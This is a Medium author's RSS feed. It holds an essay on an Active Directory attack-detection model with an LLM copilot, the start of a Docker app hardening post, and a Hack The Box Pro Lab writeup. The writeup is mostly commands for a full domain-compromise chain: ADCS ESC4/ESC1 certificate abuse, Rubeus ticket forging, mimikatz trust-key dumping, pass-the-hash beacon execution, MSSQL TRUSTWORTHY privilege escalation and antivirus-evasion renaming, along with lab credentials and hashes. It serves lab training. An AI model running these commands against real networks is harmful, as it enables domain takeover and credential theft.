<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wiame El Ouahabi on Medium]]></title>
        <description><![CDATA[Stories by Wiame El Ouahabi on Medium]]></description>
        <link>https://medium.com/@wiame.elouahabi5?source=rss-336fac6e5464------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*GjczFwsVLG_eui_x</url>
            <title>Stories by Wiame El Ouahabi on Medium</title>
            <link>https://medium.com/@wiame.elouahabi5?source=rss-336fac6e5464------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:36:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wiame.elouahabi5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Built an AI Copilot for Active Directory Security — Here’s What Broke First]]></title>
            <link>https://medium.com/@wiame.elouahabi5/i-built-an-ai-copilot-for-active-directory-security-heres-what-broke-first-5aa42e21315d?source=rss-336fac6e5464------2</link>
            <guid isPermaLink="false">https://medium.com/p/5aa42e21315d</guid>
            <category><![CDATA[ai-and-cybersecurity]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Wiame El Ouahabi]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 15:42:42 GMT</pubDate>
            <atom:updated>2026-07-19T15:42:42.053Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Or: three mistakes that taught me more than the parts that worked.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlFE6TskeRmQryTvYI9J8g.png" /></figure><p>If you’ve ever looked at a SOC analyst’s dashboard, you know the problem isn’t a lack of alerts — it’s too many, with too little context, in a system that has no idea <em>why</em> it flagged something. I wanted to see how far I could get building something different: a detection pipeline for Active Directory attacks, paired with a local AI copilot that explains every detection in plain language instead of just throwing a label at you.</p><p>The model works. It hits 99.37% accuracy on held-out data. But the interesting part of this project isn’t the number — it’s the three times the “obvious” approach was wrong, and what fixing each one taught me about building security tooling that doesn’t lie to the people using it.</p><h3>The setup</h3><p>The goal had two halves, baked into the project name: <strong>AD-centric SOC + AI Copilot</strong>. Half one: detect identity-based attacks — DCSync, Pass-the-Hash, Kerberoasting-adjacent techniques, NTDS extraction — from real Windows Security and Sysmon telemetry. Half two: don’t just classify the event, <em>explain</em> it, the way a senior analyst would to someone new on the team.</p><p>I pulled data from three places: the <a href="https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES">EVTX-ATTACK-SAMPLES</a> corpus, eight <a href="https://github.com/OTRF/Security-Datasets">Mordor</a> threat-emulation datasets (Empire, Covenant, Mimikatz, several NTDS-dump variants), and a synthetic benign baseline — 40 users across 15 hosts, doing boring, normal, business-hours things. Normalized through a single Pydantic schema, labeled against MITRE ATT&amp;CK, the final dataset landed at 89,591 events across 38 labels.</p><p>Then I ran a routine leakage check, and that’s where things got interesting.</p><h3>Mistake #1: the split that looked fine and wasn’t</h3><p>Here’s the audit result that stopped me:</p><pre>[RISQUE] 30 label(s) associe(s) a UNE SEULE machine</pre><p>Thirty of thirty-seven attack labels were tied to exactly one host. Not “mostly one host” — <em>one</em>. This is a structural property of public security datasets: each Mordor capture is one attack, performed once, on one lab machine. If you random-split that, your model doesn’t learn “what DCSync looks like” — it learns “events from DC1.insecurebank.local are DCSync,&quot; which is a fact about your test set, not about the attack.</p><p>The fix sounds simple — split by host, not by row — but it took three iterations to get right. The first version used GroupShuffleSplit and, by pure bad luck, put three of my biggest attack classes entirely on one side of the split. The second version tried to be clever with StratifiedGroupKFold and instead created a <em>worse</em> problem: labels that had previously been in both train and test now ended up 100% in test with zero training examples — objectively better statistics, objectively less useful. The version that finally worked stopped trying to force balance and instead explicitly separated the dataset into two honest categories: labels with multiple hosts (genuinely splittable, evaluated quantitatively) and labels stuck on a single host (trained on, but evaluated qualitatively against expected event signatures instead of a held-out metric).</p><p>Only <strong>6 labels</strong> ended up quantitatively evaluable. That’s a smaller number than I wanted to report. It’s also the correct number, and reporting the honest one turned out to matter more later.</p><h3>Mistake #2: fixing imbalance made the model worse</h3><p>With the split sorted, I trained a two-stage hierarchical classifier — MITRE tactic first (Credential Access, Lateral Movement, etc.), specific technique second. This mirrors how an analyst actually triages, and it gives the copilot a natural two-step story to tell later.</p><p>Stage 1 had a textbook imbalance problem: two tactics had 68 and 85 training examples against tens of thousands for the big ones. The standard move is class_weight=&quot;balanced&quot;. I applied it. Accuracy went <em>down</em>, and the confusion matrix showed real Credential Access and Lateral Movement events getting misrouted into the tiny minority tactics:</p><pre>TA0006 -&gt; TA0003:  105 events wrongly routed<br>TA0008 -&gt; TA0007:   97 events wrongly routed</pre><p>Balanced weighting was working exactly as designed — it was making the model <em>more</em> willing to predict the rare classes. The problem is that at 68 samples, “more willing to predict this class” mostly means “wrong more often,” not “better at genuinely recognizing it.” I removed the weighting entirely for Stage 1, and the misrouting dropped by an order of magnitude, pushing accuracy to 99.37%.</p><p>The twist: Stage 2’s version of the same imbalance (NTDS-dump techniques at 11,000+ events against a smaller technique at 740) responded <em>well</em> to balanced_subsample. Same tool, opposite result, because the actual shape of the imbalance was different. There&#39;s no universal answer here — you have to look at what the weighting does to your specific confusion matrix, not just apply it because the class counts look uneven.</p><h3>Mistake #3: the copilot that made things up</h3><p>This is the one that worried me most. Once the model was solid, I built the copilot: a local Ollama model (llama3) that takes a prediction and writes an analyst-facing explanation. Early on, I added a “show related events” button. It seemed harmless — ask the LLM to summarize what else happened nearby.</p><p>The LLM’s answer:</p><blockquote>“Found related events: Event ID 4768 from the same machine… Event ID 4663 from the domain controller, indicating a successful group policy update…”</blockquote><p>None of that was real. The event IDs, the group policy update, all of it was a plausible-sounding fabrication — the model doing what language models do when you ask them a factual question they don’t actually have data for: generating something that <em>sounds</em> right.</p><p>In most applications, that’s a quality bug. In a security tool, it’s a trust-destroying one. An analyst acting on a fabricated event ID during an actual incident is a genuinely bad outcome. The fix wasn’t a better prompt — prompting alone doesn’t reliably stop this. The fix was architectural: “related events” now queries the real dataset directly (same host, five-minute window) and formats the result deterministically. The LLM never sees that question anymore. It only gets used for the parts that are legitimately its job — explaining <em>why</em> something matters and <em>what</em> to do about it, never <em>what literally happened</em>.</p><p>That split became the project’s one real design principle, and I’d apply it to any AI tool touching security data: <strong>facts come from the data, reasoning comes from the model, and the two never swap places.</strong></p><h3>What it looks like</h3><p>The web app (I called it KEEP — the fortified core of a castle, which felt right for something guarding a domain controller) deliberately skips the dark-mode-plus-teal-glow look that every AI dashboard seems to converge on right now. Active Directory is a literal tree, so the UI uses actual DN-style breadcrumbs (DC=io › DC=keep › DC=prod) as real navigation. SOC tooling traces back to monochrome-terminal ops rooms, so the whole thing is flat panels, hairline borders, monospace type, one muted amber accent instead of a rainbow of glowing badges. It&#39;s a small thing, but it stopped the app from looking like a template.</p><h3>The number that matters more than the headline number</h3><p>99.37% accuracy is real, but it only describes six labels plus benign — the ones a host-aware split can actually evaluate. The other thirty labels are trained on and validated qualitatively, not quantitatively, because the data structurally doesn’t support anything else. One technique, dcsync_convenant, sits at 0.74 recall specifically because it shares Sysmon telemetry (event IDs 10/12/13) with the NTDS-dump family — precision stays at 1.00, so it&#39;s never confused for benign traffic, it just sometimes gets attributed to the wrong sibling technique.</p><p>I could have led with the clean number and left it there. I don’t think that would have been honest, and I don’t think it would have made the project better — a security tool’s most important property is that you can trust what it tells you about itself, including its limits.</p><p><strong>Stack:</strong> Python, pandas, scikit-learn, Pydantic, Flask, Ollama (llama3), vanilla JS/HTML/CSS. <strong>Code:</strong> <a href="https://github.com/Wiame5/Identity-based-SOC-AD-centric-SOC-AI-Copilot-">github.com/Wiame5/Identity-based-SOC-AD-centric-SOC-AI-Copilot-</a></p><p>If you’re building anything similar — detection pipelines, LLM copilots on top of security data — I’d genuinely like to hear how you’re handling the fact/reasoning split. It’s the part I expect to keep thinking about longest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5aa42e21315d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mythical Pro Lab HTB writeup]]></title>
            <link>https://medium.com/@wiame.elouahabi5/mythical-6248dfb1261a?source=rss-336fac6e5464------2</link>
            <guid isPermaLink="false">https://medium.com/p/6248dfb1261a</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Wiame El Ouahabi]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 03:17:15 GMT</pubDate>
            <atom:updated>2026-03-08T16:03:30.199Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Pro Lab — Full Penetration Test Writeup</h3><p><em>Mythic C2 • ADCS ESC4/ESC1 • Domain Trust • MSSQL • Privilege Escalation</em></p><p><strong>Difficulty: </strong>Medium-Hard | Chain: DC01 (mythical-us.vl) → DC02 (mythical-eu.vl)</p><p><strong>Starting Point: </strong>Assumed Breach — Active Mythic C2 implant running as MYTHICAL-US\Momo.Ayase on DC01</p><p><strong>C2 Access: </strong><a href="https://[host]:7443">https://[host]:7443</a> | mythic_admin : wG4jmjNcEcfmzv3QbEcJdSVTDEjCnX</p><h3>Attack Chain Overview</h3><p>The full chain from initial access to Domain Admin across both forests:</p><p>• <strong>Step 1: </strong>Situational awareness — whoami, net user, systeminfo</p><p>• <strong>Step 2: </strong>Rsync share enumeration → flag.txt + it.kdbx</p><p>• <strong>Step 3: </strong>Crack KeePass database → domjoin credentials</p><p>• <strong>Step 4: </strong>ADCS ESC4→ESC1 exploit → Administrator certificate → NTLM hash</p><p>• <strong>Step 5: </strong>SMBExec as Administrator → SYSTEM on DC01 (Certified flag)</p><p>• <strong>Step 6: </strong>Mimikatz trust dump → cross-domain trust key</p><p>• <strong>Step 7: </strong>Rubeus TGT → access mythical-eu.vl</p><p>• <strong>Step 8: </strong>Dev share enumeration → hardcoded svc_ldap creds</p><p>• <strong>Step 9: </strong>Password spray → svc_sql reuses same password</p><p>• <strong>Step 10: </strong>MSSQL Trustworthy DB escalation → sysadmin → xp_cmdshell</p><ul><li><strong>Step 11: </strong>Beacon deployed to DC02 via SMB share</li><li><strong>Step 12: </strong>EfsPotato → SYSTEM on DC02</li><li><strong>Step 13: </strong>Mimikatz logonpasswords → root user flag (Mythical Master)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*w6XC6lIkw9DkxCXKndi8LA.png" /></figure><h3>Phase 1 — Situational Awareness</h3><p>After logging into the Mythic C2 interface, we interact with our existing implant on DC01. The first step is always to understand who we are, what machine we’re on, and what’s in the environment.</p><h3>1.1 — Identify Current User</h3><p><strong>💡 WHY: </strong><em>We need to confirm our identity and impersonation context inside the implant session.</em></p><p>whoami</p><p>Output reveals:</p><p>• Local Identity: MYTHICAL-US\Momo.Ayase</p><p>• Impersonation Identity: MYTHICAL-US\Momo.Ayase</p><h3>1.2 — Enumerate the User Account</h3><p><strong>💡 WHY: </strong><em>Enumerating the account tells us password policies, group memberships, and last logon — useful for planning next steps.</em></p><p>shell net user Momo.Ayase</p><p>Key findings:</p><p>• Domain: MYTHICAL-US</p><p>• Password required: Yes — but user may NOT change it</p><p>• Account never expires</p><p>• Last logon: recent — account is active</p><h3>1.3 — Directory Enumeration</h3><p><strong>💡 WHY: </strong><em>We enumerate known directories to find files of interest such as credentials, configs, or tools left by admins.</em></p><p>shell dir C:\Users\Momo.Ayase\Desktop</p><p>shell dir C:\Users\Momo.Ayase\Downloads</p><p>shell dir C:\Users\Momo.Ayase\OpenVpn\log</p><p>shell type C:\Users\Momo.Ayase\OpenVpn\log\backup.log</p><h3>1.4 — System Information</h3><p><strong>💡 WHY: </strong><em>Systeminfo reveals OS version, hotfixes, and architecture — critical for identifying local privilege escalation vulnerabilities.</em></p><p>shell systeminfo</p><h3>Phase 2 — Network Share Enumeration (Rsync)</h3><p>During port scanning of the internal network, we discover port 873 (Rsync) open on 192.168.25.1 — a Linux host. Rsync is a file sync protocol often misconfigured to allow unauthenticated access.</p><h3>2.1 — Port Scan the Internal Network</h3><p><strong>💡 WHY: </strong><em>We use a PowerShell one-liner as a port scanner since we cannot transfer tools yet. This identifies live hosts and open ports.</em></p><p>shell powershell -c &quot;$ports=@(22,80,443,445,1433,3389,5985,873); $ip=&#39;192.168.25.1&#39;; foreach($p in $ports){ $tcp=New-Object Net.Sockets.TcpClient; try{ $tcp.Connect($ip,$p); Write-Host \&quot;$ip`:$p OPEN\&quot; }catch{} }&quot;</p><p>Results on 192.168.25.1:</p><p>• 22 — SSH (Linux host)</p><p>• 80 — HTTP</p><p>• 873 — Rsync (interesting!)</p><h3>2.2 — List Rsync Shares</h3><p><strong>💡 WHY: </strong><em>Rsync modules are like SMB shares. Listing them shows what data is exposed without authentication.</em></p><p>shell C:\_admin\cwrsync\bin\rsync.exe --list-only rsync://192.168.25.1</p><p>Output reveals:</p><p>• mythical — Domain Backups</p><h3>2.3 — Download the Share Contents</h3><p><strong>💡 WHY: </strong><em>We download everything from the share. The cygwin-style path /cygdrive/c/ is required because cwrsync uses the Cygwin runtime.</em></p><p>shell C:\_admin\cwrsync\bin\rsync.exe -av rsync://192.168.25.1/mythical/ /cygdrive/c/temp/loot/</p><p>Files found:</p><p>• flag.txt — First flag (Backups) ✅</p><p>• it.kdbx — KeePass database file (1,605 bytes)</p><h3>2.4 — Download Files to Attack Box</h3><p><strong>💡 WHY: </strong><em>We use Mythic&#39;s built-in download task to pull the files from the implant to our attack machine for offline analysis.</em></p><p>download C:\temp\loot\flag.txt</p><p>download C:\temp\loot\it.kdbx</p><h3>Phase 3 — Credential Recovery (KeePass)</h3><p>The it.kdbx file is a KeePass v4 database. Standard keepass2john doesn&#39;t support v4, so we use keepass4brute — a brute-force tool for modern KeePass databases.</p><h3>3.1 — Crack the KeePass Database</h3><p><strong>💡 WHY: </strong><em>KeePass4 uses Argon2 key derivation making it slow to brute force (~100 attempts/min). We use rockyou-30 (a smaller, high-probability wordlist) instead of full rockyou to keep it practical.</em></p><p># On your Kali attack box</p><p>./keepass4brute.sh it.kdbx /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt</p><p>Once cracked, open with KeePassXC to view credentials:</p><p>keepassxc it.kdbx</p><p>Contents found:</p><p>• <strong>Username: </strong>domjoin</p><p>• <strong>Password: </strong>hKvhexY5BtAgtWAY</p><p><strong>Why domjoin?: </strong>Domain join accounts have permission to add computer objects to Active Directory (ms-DS-MachineAccountQuota defaults to 10). This is essential for the ADCS machine account attack.</p><h3>Phase 4 — ADCS Certificate Template Exploitation (ESC4 → ESC1)</h3><p>Active Directory Certificate Services (ADCS) is a common privilege escalation path. We enumerate certificate templates for misconfigurations.</p><h3>4.1 — Upload and Register Certify.exe</h3><p><strong>💡 WHY: </strong><em>Certify is a .NET tool by GhostPack that enumerates ADCS misconfigurations. It works with execute_assembly because it&#39;s a proper .NET binary. First upload via Mythic Files, copy the UUID, then register.</em></p><p># In Mythic UI: Upload Certify.exe → copy UUID</p><p>register_assembly {&quot;file&quot;: &quot;&lt;UUID&gt;&quot;}</p><h3>4.2 — Find Vulnerable Certificate Templates</h3><p><strong>💡 WHY: </strong><em>We scan for vulnerable templates. The /vulnerable flag filters for known ESC misconfigurations.</em></p><p>execute_assembly Certify.exe &quot;find /vulnerable&quot;</p><p>Critical findings in the Machine template:</p><p>• <strong>ENROLLEE_SUPPLIES_SUBJECT: </strong>Allows requesting certs for any user (ESC1)</p><p>• <strong>Full Control for Authenticated Users: </strong>Anyone can modify the template (ESC4)</p><p>• <strong>CA Name: </strong>dc01.mythical-us.vl\mythical-us-DC01-CA</p><h3>4.3 — Create a Machine Account</h3><p><strong>💡 WHY: </strong><em>We need a machine account to exploit the template. First we impersonate domjoin (who has rights to create machine accounts), then use StandIn to create the account. Note: make_token works for shell commands but NOT for execute_assembly — each runs in its own context.</em></p><p># Step 1: Impersonate domjoin</p><p>make_token mythical-us\domjoin hKvhexY5BtAgtWAY</p><p># Step 2: Upload StandIn to target</p><p>upload {&quot;file&quot;: &quot;&lt;StandIn_UUID&gt;&quot;, &quot;remote_path&quot;: &quot;C:\\temp\\test\\StandIn.exe&quot;}</p><p># Step 3: Create machine account via shell (inherits make_token context)</p><p>shell C:\temp\test\StandIn.exe --computer xct --make</p><p>Output provides the machine account credentials:</p><p>• Machine account: xct$</p><p>• Password: (auto-generated, save this!)</p><h3>4.4 — Convert ESC4 to ESC1</h3><p><strong>💡 WHY: </strong><em>ESC4 means we can modify the template. We add ENROLLEE_SUPPLIES_SUBJECT (--ess) which enables ESC1 — allowing us to specify any Subject Alternative Name in certificate requests.</em></p><p># Impersonate the machine account we created</p><p>make_token mythical-us\xct$ &lt;generated_password&gt;</p><p># Add ENROLLEE_SUPPLIES_SUBJECT to the Machine template</p><p>execute_assembly StandIn_v13_Net45.exe &quot;--adcs --filter Machine --ess --add&quot;</p><p># Grant Domain Users enrollment rights on the template</p><p>execute_assembly StandIn_v13_Net45.exe &quot;--adcs --filter Machine --ntaccount \&quot;mythical-us\\domain users\&quot; --enroll --add&quot;</p><h3>4.5 — Request Certificate as Administrator</h3><p><strong>💡 WHY: </strong><em>Now that ESC1 is enabled, we request a certificate and supply administrator@mythical-us.vl as the Subject Alternative Name. The CA issues a cert that proves we are Administrator.</em></p><p>execute_assembly Certify.exe &quot;request /ca:dc01.mythical-us.vl\\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl&quot;</p><p>Save the output PEM block (private key + certificate) to a file called cert.pem on your attack box.</p><h3>4.6 — Convert Certificate to PFX</h3><p><strong>💡 WHY: </strong><em>Rubeus requires PFX format. OpenSSL converts the PEM output from Certify. Use an empty password for simplicity.</em></p><p># On your Kali attack box</p><p>openssl pkcs12 -in cert.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out admin.pfx -passout pass:</p><h3>4.7 — Request TGT and Extract NTLM Hash</h3><p><strong>💡 WHY: </strong><em>Rubeus uses the certificate to authenticate via PKINIT (certificate-based Kerberos). The /getcredentials flag extracts the NTLM hash from the KDC response — useful for pass-the-hash attacks.</em></p><p># Upload admin.pfx to target first</p><p>upload {&quot;file&quot;: &quot;&lt;admin.pfx_UUID&gt;&quot;, &quot;remote_path&quot;: &quot;C:\\Users\\Momo.Ayase\\admin.pfx&quot;}</p><p># Register Rubeus</p><p>register_assembly {&quot;file&quot;: &quot;&lt;Rubeus_UUID&gt;&quot;}</p><p># Request TGT and get NTLM hash</p><p>execute_assembly Rubeus.exe &quot;asktgt /user:Administrator /certificate:C:\\Users\\Momo.Ayase\\admin.pfx /ptt /nowrap /getcredentials&quot;</p><p>Output provides Administrator&#39;s NTLM hash. Save it — we use it in the next step.</p><h3>4.8 — Execute Beacon as Administrator (Certified Flag)</h3><p><strong>💡 WHY: </strong><em>Invoke-SMBExec performs pass-the-hash over SMB to execute commands as Administrator. We use it to run our Mythic beacon, spawning a new callback with Administrator privileges. This gives us the Certified flag.</em></p><p># Make sure beacon is staged</p><p>shell cmd /c copy C:\programdata\google\update.exe C:\hello\update.exe</p><p>shell net share hello=C:\hello /grant:everyone,full</p><p># Execute beacon as Administrator via pass-the-hash</p><p>powershell Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator -Hash &lt;NTLM_HASH&gt; -Command &quot;C:\programdata\google\update.exe&quot;</p><p># Check for new admin callback in Mythic, then read flag</p><p>shell type C:\Users\Administrator\Desktop\flag.txt</p><h3>Phase 5 — Domain Trust Exploitation</h3><p>With Administrator access on DC01 (mythical-us.vl), we investigate the trust relationship with DC02 (mythical-eu.vl) to pivot to the second domain.</p><h3>5.1 — Dump Domain Trust Keys</h3><p><strong>💡 WHY: </strong><em>lsadump::trust /patch dumps the inter-domain trust account keys. These are shared secrets between domains that allow cross-domain authentication. We need the RC4 hash of the trust account.</em></p><p># Upload mimikatz to target first</p><p>upload {&quot;file&quot;: &quot;&lt;mimikatz_UUID&gt;&quot;, &quot;remote_path&quot;: &quot;C:\\Users\\Administrator\\mimikatz.exe&quot;}</p><p>shell C:\Users\Administrator\mimikatz.exe &quot;lsadump::trust /patch&quot; &quot;exit&quot;</p><p>Key output from the trust dump:</p><p>• Trust direction: MYTHICAL-US.VL → MYTHICAL-EU.VL (outbound from our perspective)</p><p>• rc4_hmac_nt: d96d7d0a04d48ee91ab49a97c012fefd (trust account key)</p><p>• SIDFilteringQuarantined: True — SID filtering is on, limits some attacks</p><h3>5.2 — Forge Cross-Domain TGT</h3><p><strong>💡 WHY: </strong><em>The trust account mythical-us$ exists in mythical-eu.vl. Using its RC4 hash we can forge a TGT in the trusted domain, allowing us to query and access mythical-eu.vl resources. This is a trust account attack.</em></p><p>execute_assembly Rubeus.exe &quot;asktgt /user:mythical-us$ /domain:mythical-eu.vl /rc4:d96d7d0a04d48ee91ab49a97c012fefd /nowrap /ptt&quot;</p><h3>5.3 — Enumerate Users in mythical-eu.vl</h3><p><strong>💡 WHY: </strong><em>With our forged TGT injected we can now query DC02. We enumerate all users to find service accounts — especially svc_ldap and svc_sql which are high-value targets.</em></p><p>powershell Get-ADUser -Filter * -Server dc02.mythical-eu.vl -Properties * | Select-Object DisplayName, SamAccountName</p><p>Notable accounts discovered:</p><p>• svc_ldap — LDAP service account</p><p>• svc_sql — SQL Server service account</p><p>• root — Interesting non-standard account</p><h3>Phase 6 — DC02 Share Enumeration &amp; Credential Harvesting</h3><h3>6.1 — Enumerate DC02 Shares</h3><p><strong>💡 WHY: </strong><em>After getting access to mythical-eu.vl we look for non-standard shares. The dev share is not a default Windows share and likely contains developer files or tools.</em></p><p>shell net view \\dc02.mythical-eu.vl\</p><p># List contents of the dev share</p><p>ls \\dc02.mythical-eu.vl\dev</p><p>Files found in \\dc02.mythical-eu.vl\dev:</p><p>• Autologon64.exe — Sysinternals Autologon tool</p><p>• getusers.exe — Custom .NET LDAP user enumeration tool</p><h3>6.2 — Download and Decompile getusers.exe</h3><p><strong>💡 WHY: </strong><em>getusers.exe is a custom .NET assembly. .NET binaries can be fully decompiled back to source code using tools like DNSpy or ILSpy. Developers frequently hardcode credentials — a critical security mistake.</em></p><p># Download via Mythic</p><p>download \\dc02.mythical-eu.vl\dev\getusers.exe</p><p>download \\dc02.mythical-eu.vl\dev\Autologon64.exe</p><p># On Kali: extract strings (quick method)</p><p>strings getusers.exe | grep -A2 -B2 &#39;svc_ldap&#39;</p><p># Or decompile with ILSpy</p><p>~/.dotnet/tools/ilspycmd getusers.exe</p><p>Hardcoded credentials found in getusers.exe:</p><p>• LDAP path: LDAP://dc02.mythical-eu.vl</p><p>• Username: svc_ldap</p><p>• Password: &lt;found in binary&gt;</p><h3>6.3 — Password Spray for svc_sql</h3><p><strong>💡 WHY: </strong><em>Service accounts in the same environment often share passwords — a common misconfiguration. We test svc_ldap&#39;s password against svc_sql using make_token which attempts Kerberos/NTLM authentication.</em></p><p># Test svc_ldap password against svc_sql</p><p>make_token mythical-eu\svc_sql &lt;svc_ldap_password&gt;</p><p># Verify by running a domain command</p><p>shell net user svc_sql /domain</p><p><strong>Result: </strong>svc_sql uses the same password as svc_ldap — password reuse confirmed!</p><h3>Phase 7 — MSSQL Attack Chain</h3><p>With svc_sql credentials we target the MSSQL instance on DC02. The goal is to escalate from a regular SQL user to sysadmin and achieve OS command execution.</p><h3>7.1 — Find the MSSQL Instance</h3><p><strong>💡 WHY: </strong><em>We scan DC02 for MSSQL (port 1433) to confirm the service is running before attempting to connect.</em></p><p>shell powershell -c &quot;$tcp=New-Object Net.Sockets.TcpClient; try{ $tcp.ConnectAsync(&#39;192.168.1.20&#39;,1433).Wait(200); if($tcp.Connected){ Write-Host &#39;192.168.1.20:1433 OPEN&#39; } }catch{}&quot;</p><h3>7.2 — Prepare sqlcmd</h3><p><strong>💡 WHY: </strong><em>sqlcmd is already installed on DC01. We copy and rename it to avoid triggering simple AV signatures based on the known tool name.</em></p><p># Find sqlcmd</p><p>shell where sqlcmd</p><p># Copy and rename</p><p>shell powershell -c &quot;Copy-Item &#39;C:\Program Files\SqlCmd\sqlcmd.exe&#39; &#39;C:\Users\Administrator\sql.exe&#39;&quot;</p><h3>7.3 — Connect and Check Privileges</h3><p><strong>💡 WHY: </strong><em>We connect as svc_sql and check our current privilege level. is_srvrolemember(&#39;sysadmin&#39;) returns 1 if we are sysadmin, 0 if not.</em></p><p># Impersonate svc_sql first</p><p>make_token mythical-eu\svc_sql &lt;password&gt;</p><p># Check current user and sysadmin status</p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -Q &quot;SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(&#39;sysadmin&#39;);&quot;</p><p># Check database memberships</p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -d msdb -Q &quot;SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)&quot;</p><p>Finding: svc_sql is a member of msdb db_owner role but NOT sysadmin.</p><h3>7.4 — Check TRUSTWORTHY Setting</h3><p><strong>💡 WHY: </strong><em>The TRUSTWORTHY database property allows stored procedures in that database to execute with the database owner&#39;s (dbo) server-level permissions. If msdb is TRUSTWORTHY and dbo maps to sysadmin (which it does by default), we can escalate.</em></p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -Q &quot;SELECT name, is_trustworthy_on FROM sys.databases WHERE name = &#39;msdb&#39;;&quot;</p><p><strong>Result: </strong>msdb is_trustworthy_on = 1 (enabled!) — this is our escalation path</p><h3>7.5 — Create Malicious Stored Procedure</h3><p><strong>💡 WHY: </strong><em>We create a stored procedure WITH EXECUTE AS OWNER. This means when executed, it runs with the msdb owner&#39;s (sa/dbo) server-level privileges. The procedure adds svc_sql to the sysadmin role.</em></p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -d msdb -Q &quot;CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember &#39;MYTHICAL-EU\\svc_sql&#39;, &#39;sysadmin&#39;;&quot;</p><h3>7.6 — Execute the Procedure and Verify</h3><p><strong>💡 WHY: </strong><em>Executing the stored procedure promotes svc_sql to sysadmin. We verify by checking the role membership again.</em></p><p># Execute the privilege escalation procedure</p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -d msdb -Q &quot;EXEC sp_elevate_me;&quot;</p><p># Verify we now have sysadmin</p><p>shell C:\Users\Administrator\sql.exe -S tcp:dc02.mythical-eu.vl,1433 -Q &quot;SELECT IS_SRVROLEMEMBER(&#39;sysadmin&#39;);&quot;</p><p><strong>Result: </strong>Returns 1 — svc_sql is now sysadmin!</p><h3>7.7 — Enable xp_cmdshell</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6248dfb1261a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Development, Pentesting, and Hardening of a Dockerized Web Application]]></title>
            <link>https://medium.com/@wiame.elouahabi5/development-pentesting-and-hardening-of-a-dockerized-web-application-17e4a1d34f11?source=rss-336fac6e5464------2</link>
            <guid isPermaLink="false">https://medium.com/p/17e4a1d34f11</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[docker-compose]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Wiame El Ouahabi]]></dc:creator>
            <pubDate>Tue, 10 Feb 2026 22:32:47 GMT</pubDate>
            <atom:updated>2026-02-10T22:32:47.196Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Application:</strong> <em>UniOrder — University Internal Services Portal</em></p><h3>Introduction</h3><p>In a modern DevSecOps approach, security should not be considered as a final step, but rather as an element integrated throughout the entire software development lifecycle.<br> This project follows this philosophy and focuses on the design, development, security analysis, and hardening of a university web application named <strong>UniOrder</strong>.</p><p>The application was entirely developed by the author and subsequently subjected to a series of automated and manual security tests in order to identify vulnerabilities, assess their real impact, and propose appropriate remediation measures.</p><p>This dual role as both <strong>developer and security analyst</strong> provides a concrete illustration of the DevSecOps approach, where security is embedded from the design phase rather than added afterward.</p><h3>1) Development of the UniOrder Application</h3><h3>1.1 Objectives of the Application</h3><p>UniOrder was developed to address the needs related to the management of internal university services.<br> The main objectives of the application are:</p><ul><li>Centralize administrative requests</li><li>Simplify communication between students and the administration</li><li>Provide a clear and user-friendly interface</li><li>Implement a simple architecture deployable using Docker</li></ul><h3>1.2 Implemented Features</h3><p>The application includes the following features:</p><ul><li>Creation of service requests (certificates, room booking, equipment)</li><li>Consultation of request status</li><li>Addition and display of comments</li><li>Search for requests using keywords</li><li>Administrative interface for monitoring and managing requests</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LilxGCn-WXx1LEWn4YBEOA.png" /><figcaption>Figure 1 — UniOrder Application Home 